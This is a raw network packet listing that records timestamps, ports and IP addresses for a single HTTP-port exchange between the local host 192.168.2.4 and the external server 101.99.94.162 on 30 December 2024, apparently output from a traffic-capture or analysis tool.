Dec 30, 2024 19:45:48.565601110 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565685034 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565696001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565705061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565720081 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565731049 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565740108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565747976 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565772057 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565774918 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.565782070 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.565830946 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566020012 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566029072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566040039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566050053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566062927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566072941 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566077948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566090107 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566102982 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566113949 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566118002 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566128016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566160917 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566288948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566298962 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566308975 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566319942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566329956 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566329956 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566344023 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566356897 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566361904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566368103 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566381931 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566392899 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566442013 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566452026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566462040 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.566488028 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.566500902 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.675836086 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675849915 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675860882 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675870895 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675882101 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675890923 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675901890 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675908089 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.675913095 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675925016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675935984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675940990 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.675956964 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675968885 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.675973892 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.675981998 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.675987959 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676000118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676012993 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676017046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676028967 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676039934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676048994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676055908 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676059961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676076889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676080942 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676090002 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676100969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676101923 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676111937 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676122904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676124096 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676136971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676146030 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676147938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676166058 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676173925 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676182985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676188946 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676198006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676209927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676219940 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676220894 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676234007 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676244020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676249027 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676256895 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676260948 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676269054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676279068 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676290035 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676290989 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676305056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676333904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676338911 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676348925 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676358938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676371098 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676398993 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676466942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676479101 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676487923 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676500082 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676512003 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676512003 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676523924 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676537037 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676541090 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676575899 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676589012 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676788092 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676800966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676817894 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676827908 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676836014 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.676840067 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.676866055 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.765418053 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784039974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784054995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784065962 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784085989 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784099102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784105062 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784120083 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784135103 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784166098 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784168959 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784177065 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784209013 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784212112 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784229994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784240961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784250975 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784266949 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784279108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784287930 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784379959 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784404993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784418106 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784455061 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784487963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784499884 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784508944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784554958 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784672976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784714937 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784718037 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784742117 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784759045 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784770966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784785986 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784789085 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784796000 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784806013 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784835100 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784837008 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784845114 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784895897 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.784929991 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784940958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784950972 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.784975052 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785164118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785176039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785193920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785204887 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785218000 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785221100 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785228014 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785239935 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785250902 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785273075 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785284042 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785303116 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785314083 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785322905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785351992 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785559893 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785571098 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785582066 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785593033 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785612106 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785655975 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785809040 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785820961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785837889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785849094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785859108 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785861015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785871983 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785886049 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785901070 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785911083 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785916090 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785948038 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785949945 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.785963058 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785973072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.785990000 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786014080 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786041021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786052942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786062956 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786086082 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786092043 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786096096 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786134005 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786138058 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786148071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786178112 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786183119 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786194086 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786205053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786228895 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786246061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786254883 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786290884 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786299944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786309958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.786338091 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.786365986 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.893914938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893929005 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893934965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893944025 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893961906 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893970013 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893975019 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.893978119 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.893981934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894011974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894023895 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894041061 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894088984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894098997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894108057 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894117117 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894134998 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894148111 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894207954 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894244909 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894247055 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894257069 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894294977 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894417048 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894426107 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894431114 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894435883 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894467115 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894469976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894480944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894490004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894505024 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894514084 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894516945 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894560099 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894561052 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894578934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894587994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894598961 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894623041 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894793034 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894803047 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894812107 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894821882 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894830942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894833088 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894856930 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894934893 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894946098 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894954920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.894975901 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894989967 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.894998074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895005941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895015955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895025015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895049095 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895056963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895060062 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895097017 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895127058 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895136118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895178080 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895180941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895190954 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895231009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895241022 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895253897 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895292044 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895391941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895401955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895436049 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895447969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895457029 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895507097 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895535946 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895551920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895561934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895570040 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895580053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895591021 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895612955 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895653963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895663023 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895690918 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895730972 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895741940 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895750046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895775080 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895787954 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895872116 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895881891 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895890951 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895906925 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895917892 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895927906 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.895929098 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.895962000 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.896074057 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.896084070 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.896094084 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.896127939 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.896131039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.896142960 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.896153927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.896172047 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.896207094 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.003848076 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003880978 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003890991 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003906965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003916025 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003925085 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.003933907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003947973 CET	80	50071	101.99.94.162	192.168.2.4
